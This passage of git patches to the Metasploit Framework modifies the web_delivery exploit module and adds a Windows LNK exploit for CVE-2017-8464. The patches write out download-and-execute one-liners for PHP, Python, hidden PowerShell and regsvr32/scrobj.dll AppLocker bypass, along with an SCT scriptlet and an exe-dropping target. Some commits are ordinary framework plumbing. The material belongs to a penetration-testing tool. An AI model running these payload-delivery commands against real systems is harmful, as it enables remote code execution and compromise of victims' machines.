       print_line('Python:')
       print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
     when 'PSH'
+      print_line gen_psh(url)
+    when 'Regsvr32'
+      print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
+    end
+  end
+
+
+  def gen_psh(url)
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
       download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
       download_and_run = "#{ignore_cert}#{download_string}"
       print_line generate_psh_command_line(
+      return generate_psh_command_line(
                                              noprofile: true,
                                              windowstyle: 'hidden',
                                              command: download_and_run
                                            )
     end
   end
-end
+
+
+  def rand_class_id
+    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+  end
+
+
+  def gen_sct_file(command)
+    %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
+  end
+end
\ No newline at end of file
diff --git a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
index bb12511682..1143b831a5 100644
--- a/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
+++ b/modules/exploits/windows/misc/regsvr32_applocker_bypass_server.rb
@@ -8,6 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote
 
   include Msf::Exploit::Powershell
   include Msf::Exploit::Remote::HttpServer
+  include Msf::Module::Deprecated
+
+  deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
 
   def initialize(info = {})
     super(update_info(info,

From 96f7012fe711c5b22bdb4209dc693575be85b680 Mon Sep 17 00:00:00 2001
From: g0tmi1k <have.you.g0tmi1k@gmail.com>
Date: Wed, 6 Sep 2017 13:17:28 +0100
Subject: [PATCH 009/254] Code clean up (URLs, ordering and printing)

---
 modules/exploits/multi/script/web_delivery.rb | 63 ++++++++++---------
 1 file changed, 32 insertions(+), 31 deletions(-)

diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 11a4345eb4..5b652e1a7c 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -47,11 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote
         },
       'References'     =>
         [
-          ['URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
-          ['URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
+          ['URL', 'https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'],
+          ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'],
           ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'],
-          ['URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
-          ['URL', 'http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
+          ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'],
+          ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'],
         ],
       'Platform'       => %w(python php win),
       'Targets'        =>
@@ -84,39 +84,43 @@ class MetasploitModule < Msf::Exploit::Remote
   )
   end
 
+
+  def primer
+    url = get_uri
+    print_status("Run the following command on the target machine:")
+    case target.name
+    when 'PHP'
+      print_line(%Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{url}'));"))
+    when 'Python'
+      print_line(%Q(python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());"))
+    when 'PSH'
+      print_line(gen_psh(url))
+    when 'Regsvr32'
+      print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
+    end
+  end
+
+
   def on_request_uri(cli, _request)
     if _request.raw_uri =~ /\.sct$/
-      print_status("Handling .sct Request")
       psh = gen_psh(get_uri)
       data = gen_sct_file(psh)
-      send_response(cli, data, 'Content-Type' => 'text/plain')
     elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
-      print_status("Delivering Payload")
       data = cmd_psh_payload(payload.encoded,
                              payload_instance.arch.first,
                              remove_comspec: true,
                              exec_in_place: true
                            )
     else
-      print_status("Delivering Payload")
       data = %Q(#{payload.encoded})
     end
-    send_response(cli, data,  'Content-Type' => 'application/octet-stream')
-  end
 
-  def primer
-    url = get_uri
-    print_status('Run the following command on the target machine:')
-    case target.name
-    when 'PHP'
-      print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
-    when 'Python'
-      print_line('Python:')
-      print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
-    when 'PSH'
-      print_line gen_psh(url)
-    when 'Regsvr32'
-      print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
+    if _request.raw_uri =~ /\.sct$/
+      print_status("Handling .sct Request")
+      send_response(cli, data, 'Content-Type' => 'text/plain')
+    else
+      print_status("Delivering Payload")
+      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
     end
   end
 
@@ -125,13 +129,10 @@ class MetasploitModule < Msf::Exploit::Remote
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
       download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
       download_and_run = "#{ignore_cert}#{download_string}"
-      print_line generate_psh_command_line(
-      return generate_psh_command_line(
-                                             noprofile: true,
-                                             windowstyle: 'hidden',
-                                             command: download_and_run
-                                           )
-    end
+      return generate_psh_command_line(noprofile: true,
+                                       windowstyle: 'hidden',
+                                       command: download_and_run
+                                     )
   end
 
 
@@ -143,4 +144,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def gen_sct_file(command)
     %{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
   end
-end
\ No newline at end of file
+end

From accb77d268e4ada135ff4df82b5b2dc7c190a9f4 Mon Sep 17 00:00:00 2001
From: g0tmi1k <have.you.g0tmi1k@gmail.com>
Date: Thu, 7 Sep 2017 10:55:29 +0100
Subject: [PATCH 010/254] Add PSH (Binary) as a target to web_delivery

---
 modules/exploits/multi/script/web_delivery.rb | 63 ++++++++++++++++---
 1 file changed, 53 insertions(+), 10 deletions(-)

diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 5b652e1a7c..873185fd37 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -8,6 +8,7 @@ require 'msf/core/exploit/powershell'
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ManualRanking
 
+  include Msf::Exploit::EXE
   include Msf::Exploit::Powershell
   include Msf::Exploit::Remote::HttpServer
 
@@ -31,6 +32,8 @@ class MetasploitModule < Msf::Exploit::Remote
         The signed Microsoft binary file, Regsvr32, is able to request an .sct file and then execute the included
         PowerShell command inside of it. Both web requests (i.e., the .sct file and PowerShell download/execute)
         can occur on the same port.
+
+        "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded/executed.
       ),
       'License'      => MSF_LICENSE,
       'Author'       =>
@@ -40,6 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
           'Chris Campbell', # @obscuresec - Inspiration n.b. no relation!
           'Casey Smith',    # AppLocker bypass research and vulnerability discovery (@subTee)
           'Trenton Ivey',   # AppLocker MSF Module (kn0)
+          'g0tmi1k',        # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
         ],
       'DefaultOptions' =>
         {
@@ -71,6 +75,10 @@ class MetasploitModule < Msf::Exploit::Remote
           ['Regsvr32', {
             'Platform' => 'win',
             'Arch' => [ARCH_X86, ARCH_X64]
+          }],
+          ['PSH (Binary)', {
+            'Platform' => 'win',
+            'Arch' => [ARCH_X86, ARCH_X64]
           }]
         ],
       'DefaultTarget'  => 0,
@@ -79,32 +87,43 @@ class MetasploitModule < Msf::Exploit::Remote
 
   register_advanced_options(
     [
-      OptBool.new('PSH-Proxy', [ true, 'PowerShell - Use the system proxy', true ])
+      OptBool.new('PSH-Proxy',            [ true,  'PSH - Use the system proxy', true ]),
+      OptString.new('PSHBinary-PATH',     [ false, 'PSH (Binary) - The folder to store the file on the target machine (Will be %TEMP% if left blank)', '' ]),
+      OptString.new('PSHBinary-FILENAME', [ false, 'PSH (Binary) - The filename to use (Will be random if left blank)', '' ]),
     ], self.class
   )
   end
 
 
   def primer
-    url = get_uri
+    php = %Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{get_uri}'));")
+    python = %Q(python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{get_uri}');exec(r.read());")
+    regsvr = %Q(regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll)
+
     print_status("Run the following command on the target machine:")
     case target.name
     when 'PHP'
-      print_line(%Q(php -d allow_url_fopen=true -r "eval(file_get_contents('#{url}'));"))
+      print_line("#{php}")
     when 'Python'
-      print_line(%Q(python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());"))
+      print_line("#{python}")
     when 'PSH'
-      print_line(gen_psh(url))
+      psh = gen_psh("#{get_uri}", "string")
+      print_line("#{psh}")
     when 'Regsvr32'
-      print_line("regsvr32 /s /n /u /i:#{url}.sct scrobj.dll")
+      print_line("#{regsvr}")
+    when 'PSH (Binary)'
+      psh = gen_psh("#{get_uri}", "download")
+      print_line("#{psh}")
     end
   end
 
 
   def on_request_uri(cli, _request)
     if _request.raw_uri =~ /\.sct$/
-      psh = gen_psh(get_uri)
+      psh = gen_psh("#{get_uri}", "string")
       data = gen_sct_file(psh)
+    elsif target.name.include? 'PSH (Binary)'
+      data = generate_payload_exe
     elsif target.name.include? 'PSH' or target.name.include? 'Regsvr32'
       data = cmd_psh_payload(payload.encoded,
                              payload_instance.arch.first,
@@ -125,10 +144,34 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
 
-  def gen_psh(url)
+  def gen_psh(url, *method)
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
-      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
-      download_and_run = "#{ignore_cert}#{download_string}"
+
+      if method.include? 'string'
+        download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
+        download_and_run = "#{ignore_cert}#{download_string}"
+      else
+        # Random filename to use, if there isn't anything set
+        random = "#{rand_text_alphanumeric 8}.exe"
+
+        # Set filename (Use random filename if empty)
+        filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
+
+        # Set path (Use %TEMP% if empty)
+        path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
+
+        # Join Path and Filename
+        file = %Q(echo (#{path}+'\\#{filename}'))
+
+        # Generate download PowerShell command
+        #download_string = Rex::Powershell::PshMethods.download(url, "$z")  # Can't use, due to single vs double quotes in the URL
+        download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^
+
+        # Join PowerShell commands up
+        download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z"
+      end
+
+      # Generate main PowerShell command
       return generate_psh_command_line(noprofile: true,
                                        windowstyle: 'hidden',
                                        command: download_and_run

From 4ea8f639a3c3fd42184646d18570fa520419fee4 Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Fri, 22 Sep 2017 11:42:32 -0500
Subject: [PATCH 011/254] Add host and service reporting to external modules

---
 lib/msf/core/module/external.rb               | 75 ++++++++++++++----
 lib/msf/core/modules/external/bridge.rb       | 77 ++++++++++++++-----
 lib/msf/core/modules/external/message.rb      | 20 ++++-
 .../external/python/metasploit/module.py      | 31 ++++++--
 lib/msf/core/modules/external/shim.rb         |  3 +
 .../external/templates/capture_server.erb     |  1 -
 6 files changed, 163 insertions(+), 44 deletions(-)

diff --git a/lib/msf/core/module/external.rb b/lib/msf/core/module/external.rb
index 3e4ac1a451..ed9705a942 100644
--- a/lib/msf/core/module/external.rb
+++ b/lib/msf/core/module/external.rb
@@ -1,23 +1,72 @@
+include Msf::Auxiliary::Report
+
 module Msf::Module::External
   def wait_status(mod)
     while mod.running
       m = mod.get_status
       if m
-        case m['level']
-        when 'error'
-          print_error m['message']
-        when 'warning'
-          print_warning m['message']
-        when 'good'
-          print_good m['message']
-        when 'info'
-          print_status m['message']
-        when 'debug'
-          vprint_status m['message']
-        else
-          print_status m['message']
+        case m.method
+        when :message
+          log_output(m)
+        when :report
+          process_report(m)
+        when :reply
+          # we're done
+          break
         end
       end
     end
   end
+
+  def log_output(m)
+    message = m.params['message']
+
+    case m.params['level']
+    when 'error'
+      print_error message
+    when 'warning'
+      print_warning message
+    when 'good'
+      print_good message
+    when 'info'
+      print_status message
+    when 'debug'
+      vprint_status message
+    else
+      print_status message
+    end
+  end
+
+  def process_report(m)
+    data = m.params['data']
+
+    case m.params['type']
+    when 'host'
+      # Required
+      host = {host: data['host']}
+
+      # Optional
+      host[:state] = data['state'] if data['state'] # TODO: validate -- one of the Msf::HostState constants (unknown, alive, dead)
+      host[:os_name] = data['os_name'] if data['os_name']
+      host[:os_flavor] = data['os_flavor'] if data['os_flavor']
+      host[:os_sp] = data['os_sp'] if data['os_sp']
+      host[:os_lang] = data['os_lang'] if data['os_lang']
+      host[:arch] = data['arch'] if data['arch'] # TODO: validate -- one of the ARCH_* constants
+      host[:mac] = data['mac'] if data['mac']
+      host[:scope] = data['scope'] if data['scope']
+      host[:virtual_host] = data['virtual_host'] if data['virtual_host']
+
+      report_host(host)
+    when 'service'
+      # Required
+      service = {host: data['host'], port: data['port'], proto: data['proto']}
+
+      # Optional
+      service[:name] = data['name'] if data['name']
+
+      report_service(service)
+    else
+      print_warning "Skipping unrecognized report type #{m.params['type']}"
+    end
+  end
 end
diff --git a/lib/msf/core/modules/external/bridge.rb b/lib/msf/core/modules/external/bridge.rb
index 0a031d668c..5ffcc6b0a2 100644
--- a/lib/msf/core/modules/external/bridge.rb
+++ b/lib/msf/core/modules/external/bridge.rb
@@ -2,6 +2,7 @@
 require 'msf/core/modules/external'
 require 'msf/core/modules/external/message'
 require 'open3'
+require 'json'
 
 class Msf::Modules::External::Bridge
 
@@ -26,14 +27,13 @@ class Msf::Modules::External::Bridge
 
   def get_status
     if self.running
-      n = receive_notification
-      if n && n['params']
-        n['params']
-      else
+      m = receive_notification
+      if m.nil?
         close_ios
         self.running = false
-        n['response'] if n
       end
+
+      return m
     end
   end
 
@@ -41,30 +41,33 @@ class Msf::Modules::External::Bridge
     self.env = {}
     self.running = false
     self.path = module_path
+    self.cmd = [self.path, self.path]
+    self.messages = Queue.new
   end
 
   protected
 
   attr_writer :path, :running
-  attr_accessor :env, :ios
+  attr_accessor :cmd, :env, :ios, :messages
 
   def describe
     resp = send_receive(Msf::Modules::External::Message.new(:describe))
     close_ios
-    resp['response']
+    resp.params
   end
 
-  # XXX TODO non-blocking writes, check write lengths, non-blocking JSON parse loop read
+  # XXX TODO non-blocking writes, check write lengths
 
   def send_receive(message)
     send(message)
-    read_json(message.id, self.ios[1])
+    recv(message.id)
   end
 
   def send(message)
-    input, output, status = ::Open3.popen3(env, [self.path, self.path])
+    input, output, status = ::Open3.popen3(self.env, self.cmd)
     self.ios = [input, output, status]
-    case Rex::ThreadSafe.select(nil, [input], nil, 0.1)
+    # We would call Rex::Threadsafe directly, but that would require rex for standalone use
+    case select(nil, [input], nil, 0.1)
     when nil
       raise "Cannot run module #{self.path}"
     when [[], [input], []]
@@ -76,12 +79,10 @@ class Msf::Modules::External::Bridge
   end
 
   def receive_notification
-    input, output, status = self.ios
-    case Rex::ThreadSafe.select([output], nil, nil, 10)
-    when nil
-      nil
-    when [[output], [], []]
-      read_json(nil, output)
+    if self.messages.empty?
+      recv
+    else
+      self.messages.pop
     end
   end
 
@@ -89,10 +90,46 @@ class Msf::Modules::External::Bridge
     fd.write(json)
   end
 
-  def read_json(id, fd)
+  def recv(filter_id=nil, timeout=600)
+    _, fd, _ = self.ios
+
+    # Multiple messages can come over the wire all at once, and since yajl
+    # doesn't play nice with windows, we have to emulate a state machine to
+    # read just enough off the wire to get one request at a time. Since
+    # Windows cannot do a nonblocking read on a pipe, we are forced to do a
+    # whole lot of `select` syscalls :(
+    buf = ""
     begin
-      resp = fd.readpartial(10_000)
-      JSON.parse(resp)
+      loop do
+        # We would call Rex::Threadsafe directly, but that would require Rex for standalone use
+        case select([fd], nil, nil, timeout)
+        when nil
+          # This is what we would have gotten without Rex and what `readpartial` can also raise
+          raise EOFError.new
+        when [[fd], [], []]
+          c = fd.readpartial(1)
+          buf << c
+
+          # This is so we don't end up calling JSON.parse on every char and
+          # having to catch an exception. Windows can't do nonblock on pipes,
+          # so we still have to do the select each time.
+          break if c == '}'
+        end
+      end
+
+      m = Msf::Modules::External::Message.from_module(JSON.parse(buf))
+      if filter_id && m.id != filter_id
+        # We are filtering for a response to a particular message, but we got
+        # something else, store the message and try again
+        self.messages.push m
+        read_json(filter_id, timeout)
+      else
+        # Either we weren't filtering, or we got what we were looking for
+        m
+      end
+    rescue JSON::ParserError
+      # Probably an incomplete response, but no way to really tell
+      retry
     rescue EOFError => e
       {}
     end
diff --git a/lib/msf/core/modules/external/message.rb b/lib/msf/core/modules/external/message.rb
index 429e47fc00..ba3b739a71 100644
--- a/lib/msf/core/modules/external/message.rb
+++ b/lib/msf/core/modules/external/message.rb
@@ -2,11 +2,25 @@
 require 'msf/core/modules/external'
 require 'base64'
 require 'json'
+require 'securerandom'
 
 class Msf::Modules::External::Message
 
-  attr_reader :method, :id
-  attr_accessor :params
+  attr_reader :method
+  attr_accessor :params, :id
+
+  def self.from_module(j)
+    if j['method']
+      m = self.new(j['method'].to_sym)
+      m.params = j['params']
+      m
+    elsif j['response']
+      m = self.new(:reply)
+      m.params = j['response']
+      m.id = j['id']
+      m
+    end
+  end
 
   def initialize(m)
     self.method = m
@@ -20,5 +34,5 @@ class Msf::Modules::External::Message
 
   protected
 
-  attr_writer :method, :id
+  attr_writer :method
 end
diff --git a/lib/msf/core/modules/external/python/metasploit/module.py b/lib/msf/core/modules/external/python/metasploit/module.py
index 288a8065b2..2f12c8210d 100644
--- a/lib/msf/core/modules/external/python/metasploit/module.py
+++ b/lib/msf/core/modules/external/python/metasploit/module.py
@@ -1,20 +1,37 @@
 import sys, os, json
 
 def log(message, level='info'):
-    print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
+    rpc_send({'jsonrpc': '2.0', 'method': 'message', 'params': {
         'level': level,
         'message': message
-    }}))
-    sys.stdout.flush()
+    }})
+
+def report_host(ip, opts={}):
+    host = opts.copy()
+    host.update({'host': ip})
+    rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
+        'type': 'host', 'data': host
+    }})
+
+def report_service(ip, opts={}):
+    service = opts.copy()
+    service.update({'host': ip})
+    rpc_send({'jsonrpc': '2.0', 'method': 'report', 'params': {
+        'type': 'service', 'data': service
+    }})
+
 
 def run(metadata, exploit):
     req = json.loads(os.read(0, 10000))
     if req['method'] == 'describe':
-        print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
+        rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
     elif req['method'] == 'run':
         args = req['params']
         exploit(args)
-        print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
+        rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
             'message': 'Exploit completed'
-        }}))
-        sys.stdout.flush()
+        }})
+
+def rpc_send(req):
+    print(json.dumps(req))
+    sys.stdout.flush()
diff --git a/lib/msf/core/modules/external/shim.rb b/lib/msf/core/modules/external/shim.rb
index 4b64d8871f..903f659799 100644
--- a/lib/msf/core/modules/external/shim.rb
+++ b/lib/msf/core/modules/external/shim.rb
@@ -11,6 +11,9 @@ class Msf::Modules::External::Shim
       remote_exploit_cmd_stager(mod)
     when 'capture_server'
       capture_server(mod)
+    else
+      # TODO have a nice load error show up in the logs
+      ''
     end
   end
 
diff --git a/lib/msf/core/modules/external/templates/capture_server.erb b/lib/msf/core/modules/external/templates/capture_server.erb
index cbcb4735b8..853350fa67 100644
--- a/lib/msf/core/modules/external/templates/capture_server.erb
+++ b/lib/msf/core/modules/external/templates/capture_server.erb
@@ -2,7 +2,6 @@ require 'msf/core/modules/external/bridge'
 require 'msf/core/module/external'
 
 class MetasploitModule < Msf::Auxiliary
-  # include Msf::Auxiliary::Report
   include Msf::Module::External
 
   def initialize

From 62aac450f8951ef13ae637bda0d0b2c4ed791607 Mon Sep 17 00:00:00 2001
From: Adam Cammack <adam_cammack@rapid7.com>
Date: Fri, 22 Sep 2017 11:43:26 -0500
Subject: [PATCH 012/254] Change confusing variable name

---
 lib/msf/core/module_manager/loading.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/module_manager/loading.rb b/lib/msf/core/module_manager/loading.rb
index 4968937ae4..98d9a1c56d 100644
--- a/lib/msf/core/module_manager/loading.rb
+++ b/lib/msf/core/module_manager/loading.rb
@@ -116,8 +116,8 @@ module Msf::ModuleManager::Loading
 
     loaders.each do |loader|
       if loader.loadable?(path)
-        count_by_type.merge!(loader.load_modules(path, options)) do |key, old, new|
-          old + new
+        count_by_type.merge!(loader.load_modules(path, options)) do |key, prev, now|
+          prev + now
         end
       end
     end

From 1ee590ac0781e1a9a701dd2b2b14e8454030a59a Mon Sep 17 00:00:00 2001
From: g0tmi1k <have.you.g0tmi1k@gmail.com>
Date: Mon, 25 Sep 2017 13:45:06 +0100
Subject: [PATCH 013/254] Move over to rex-powershell and version bump

Version bump for:
- https://github.com/rapid7/rex-powershell/pull/10
- https://github.com/rapid7/rex-powershell/pull/11
---
 metasploit-framework.gemspec                  | 2 +-
 modules/exploits/multi/script/web_delivery.rb | 9 +++------
 2 files changed, 4 insertions(+), 7 deletions(-)

diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index ec4ed157c9..c796bb97d9 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -139,7 +139,7 @@ Gem::Specification.new do |spec|
   # Library for Generating Randomized strings valid as Identifiers such as variable names
   spec.add_runtime_dependency 'rex-random_identifier'
   # library for creating Powershell scripts for exploitation purposes
-  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.73"]
+  spec.add_runtime_dependency 'rex-powershell', ["< 0.1.78"]
   # Library for processing and creating Zip compatbile archives
   spec.add_runtime_dependency 'rex-zip'
   # Library for parsing offline Windows Registry files
diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb
index 873185fd37..707f1ca524 100644
--- a/modules/exploits/multi/script/web_delivery.rb
+++ b/modules/exploits/multi/script/web_delivery.rb
@@ -149,7 +149,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
       if method.include? 'string'
         download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
-        download_and_run = "#{ignore_cert}#{download_string}"
       else
         # Random filename to use, if there isn't anything set
         random = "#{rand_text_alphanumeric 8}.exe"
@@ -164,13 +163,11 @@ class MetasploitModule < Msf::Exploit::Remote
         file = %Q(echo (#{path}+'\\#{filename}'))
 
         # Generate download PowerShell command
-        #download_string = Rex::Powershell::PshMethods.download(url, "$z")  # Can't use, due to single vs double quotes in the URL
-        download_string = %Q^(new-object System.Net.WebClient).DownloadFile('#{url}', "$z")^
-
-        # Join PowerShell commands up
-        download_and_run = "$z=#{file};#{ignore_cert}#{download_string};invoke-item $z"
+        download_string = Rex::Powershell::PshMethods.download_run(url, file})
       end
 
+      download_and_run = "#{ignore_cert}#{download_string}"
+
       # Generate main PowerShell command
       return generate_psh_command_line(noprofile: true,
                                        windowstyle: 'hidden',

From 825ad940e666360c652609d9c34d711bd27b7a25 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Tue, 3 Oct 2017 09:49:24 -0400
Subject: [PATCH 014/254] Update the advanced option names and a typo

---
 .../fileformat/cve_2017_8464_lnk_rce.rb       |   2 +-
 .../windows/local/cve_2017_8464_lnk_lpe.rb    | 170 ++++++++++++++++++
 2 files changed, 171 insertions(+), 1 deletion(-)
 create mode 100644 modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb

diff --git a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
index a91c80694e..252bb7f97e 100644
--- a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
+++ b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
@@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote
           ],
         'DefaultOptions'  =>
           {
-            'EXITFUNC'    => 'process'
+            'EXITFUNC'    => 'thread'
           },
         'Arch'            => [ARCH_X86, ARCH_X64],
         'Payload'         =>
diff --git a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
new file mode 100644
index 0000000000..6d2e32a57d
--- /dev/null
+++ b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
@@ -0,0 +1,170 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::EXE
+  include Msf::Post::File
+
+  attr_accessor :exploit_dll_name
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'            => 'LNK Code Execution Vulnerability',
+        'Description'     => %q{
+          This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
+          that contain a dynamic icon, loaded from a malicious DLL.
+
+          This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
+          similar except an additional SpecialFolderDataBlock is included. The folder ID set
+          in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
+          the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
+          DLL file.
+
+          If no PATH is specified, the module will use drive letters D through Z so the files
+          may be placed in the root path of a drive such as a shared VM folder or USB drive.
+        },
+        'Author'          =>
+          [
+            'Uncredited',      # vulnerability discovery
+            'Yorick Koster',   # msf module
+            'Spencer McIntyre' # msf module
+          ],
+        'License'         => MSF_LICENSE,
+        'References'      =>
+          [
+            ['CVE', '2017-8464'],
+            ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
+            ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
+            ['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
+            ['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
+            ['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
+          ],
+        'DefaultOptions'  =>
+          {
+            'EXITFUNC'    => 'thread',
+            'WfsDelay'    => 45,
+          },
+        'Arch'            => [ARCH_X86, ARCH_X64],
+        'Payload'         =>
+          {
+            'Space'       => 2048
+          },
+        'Platform'        => 'win',
+        'Targets'         =>
+          [
+            [ 'Automatic',   { 'Arch' => ARCH_ANY } ],
+            [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
+            [ 'Windows x86', { 'Arch' => ARCH_X86 } ]
+          ],
+        'DefaultTarget'   => 0, # Default target is Automatic
+        'DisclosureDate'  => 'Jun 13 2017'
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('FILENAME', [false, 'The LNK file']),
+        OptString.new('DLLNAME', [false, 'The DLL file containing the payload']),
+        OptString.new('PATH', [false, 'An explicit path to where the files should be written to'])
+      ]
+    )
+
+    register_advanced_options(
+      [
+        OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
+        OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
+        OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
+      ]
+    )
+  end
+
+  def exploit
+    path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
+    arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
+    datastore['EXE::Path'] = path
